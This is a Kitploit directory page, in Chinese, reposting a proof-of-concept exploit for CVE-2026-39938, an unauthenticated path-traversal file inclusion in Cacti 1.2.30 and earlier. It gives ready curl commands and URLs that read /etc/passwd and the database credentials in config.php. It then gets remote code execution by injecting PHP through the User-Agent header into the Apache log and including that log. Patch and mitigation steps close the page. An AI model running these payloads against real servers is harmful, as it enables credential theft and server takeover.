Skip to content
KitploitKITPLOIT
工具博客
Log in
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
By-Poloss..-..CVE-2026-39938 — CVE-2026-39938的概念验证利用:Cacti <= 1.2.30中的未认证本地文件包含漏洞,通过日志注入实现任意文件读取和远程代码执行。 | Kitploit
工具/GitHubGitHub/polosss/by-poloss..-..cve-2026-39938
侦察漏洞分析漏洞利用Web应用程序漏洞利用信息收集渗透测试
GitHubpolosss/by-poloss..-..cve-2026-39938

By-Poloss..-..CVE-2026-39938

CVE-2026-39938的概念验证利用:Cacti <= 1.2.30中的未认证本地文件包含漏洞,通过日志注入实现任意文件读取和远程代码执行。

分享
查看仓库
244个月前尚未审核

CVE-2026-39938:Cacti <= 1.2.30 - 未授权的本地文件包含

摘要

字段值
CVE IDCVE-2026-39938
CVSS 评分9.8(严重)
受影响产品Cacti
受影响版本<= 1.2.30
修复版本1.2.31
修复提交9871f0c

漏洞详情

根本原因

该漏洞存在于 lib/rrd.php 中,其中 graph_theme 参数未经清理直接使用:

漏洞代码:

if (isset($graph_data_array['graph_theme'])) {
    $rrdtheme = $config['base_path'] . '/include/themes/' . $graph_data_array['graph_theme'] . '/rrdtheme.php';
}

修复后代码:

if (isset($graph_data_array['graph_theme'])) {
    $theme = basename($graph_data_array['graph_theme']);
    if ($theme === '' || $theme === '.' || $theme === '..') {
        $theme = get_selected_theme();
    }
    $rrdtheme = $config['base_path'] . '/include/themes/' . $theme . '/rrdtheme.php';
}

问题:未对 ../ 路径遍历序列进行验证,从而允许攻击者无需认证即可读取任意文件。


概念验证(PoC)- 简单步骤

步骤 1:验证漏洞 - 读取 /etc/passwd

curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../etc/passwd"

结果: 响应中将显示 /etc/passwd 的内容。

步骤 2:读取数据库配置

curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../include/config.php"

结果: 数据库凭据(用户名、密码)将被泄露。

步骤 3:通过日志投毒实现远程代码执行

3.1 将 PHP 代码注入 Apache 日志

curl -k -s "http://target-cacti/graph_image.php?local_graph_id=1" \
  -H "User-Agent: <?php system('id'); ?>"

3.2 通过包含日志文件执行代码

curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../var/log/apache2/access.log"

结果: 命令输出(例如 uid=33(www-data))将被显示。


已测试的常见端点

端点参数示例载荷
/graph_image.phpgraph_theme../../../../../../../etc/passwd
/graph_image.phpgraph_theme../../../../include/config.php
/graph_image.phpgraph_theme../../../../../../../var/log/apache2/access.log

PoC URL 示例

基本 LFI 测试

http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../etc/passwd

读取应用配置

http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../include/config.php

日志投毒(注入)

http://target-cacti/graph_image.php?local_graph_id=1

附带请求头:User-Agent: <?php system('id'); ?>

日志投毒(执行)

http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../var/log/apache2/access.log

修复建议

更新到已修复版本

cd /var/www/html/cacti
git fetch --tags
git checkout tags/release/1.2.31

验证补丁是否应用

grep -A 5 "if (isset(\$graph_data_array\['graph_theme'\]))" lib/rrd.php | grep basename

临时缓解措施(.htaccess)

RewriteCond %{QUERY_STRING} (^|&)graph_theme=\.\./ [NC]
RewriteRule ^graph_image\.php$ - [F,L]

参考

  • GitHub 安全公告
  • 修复提交 9871f0c
  • NVD CVE-2026-39938

W.P.E.F

  • W.P.E.F Telegram 频道 #1
  • W.P.E.F Telegram 频道 #2

报告仅供安全研究用途 日期:2026年6月27日

下载工具

最受欢迎

查看全部 →

发现我们社区最常用的工具。

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 终极 OSINT 工具包:调查图谱、置信度评分、别名家族、地图、时间线和报告。49 个模块、400+ 个站点,无需 API 密钥。

    867
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock 一键执行应用(CVE-2026-43499)

    544
  • 3

    ARTEX

    baarai/artex

    基于LLM的多智能体自主渗透测试平台,具备规划器/执行器智能体、资产与探索图谱、MITM流量记录以及漏洞复测功能。

    385
  • 4

    redforge

    cybersecurity91/redforge

    浏览器端红队工具包,包含 102 个离线工具,用于侦察、载荷生成、凭据攻击、加密、编码和交战报告。

    360
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT 平台,可将 Shadowserver 报告导入 MongoDB,并将其重放为交互式地图、分析、发现、公告和高管仪表板。

    302
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    AI原生网络安全的行动系统——在这里,意图转化为受治理的执行,证据沉淀为运营记忆,每一次操作都让下一次更出色。

    279

探索所有工具

浏览我们的工具集合

查看所有工具 →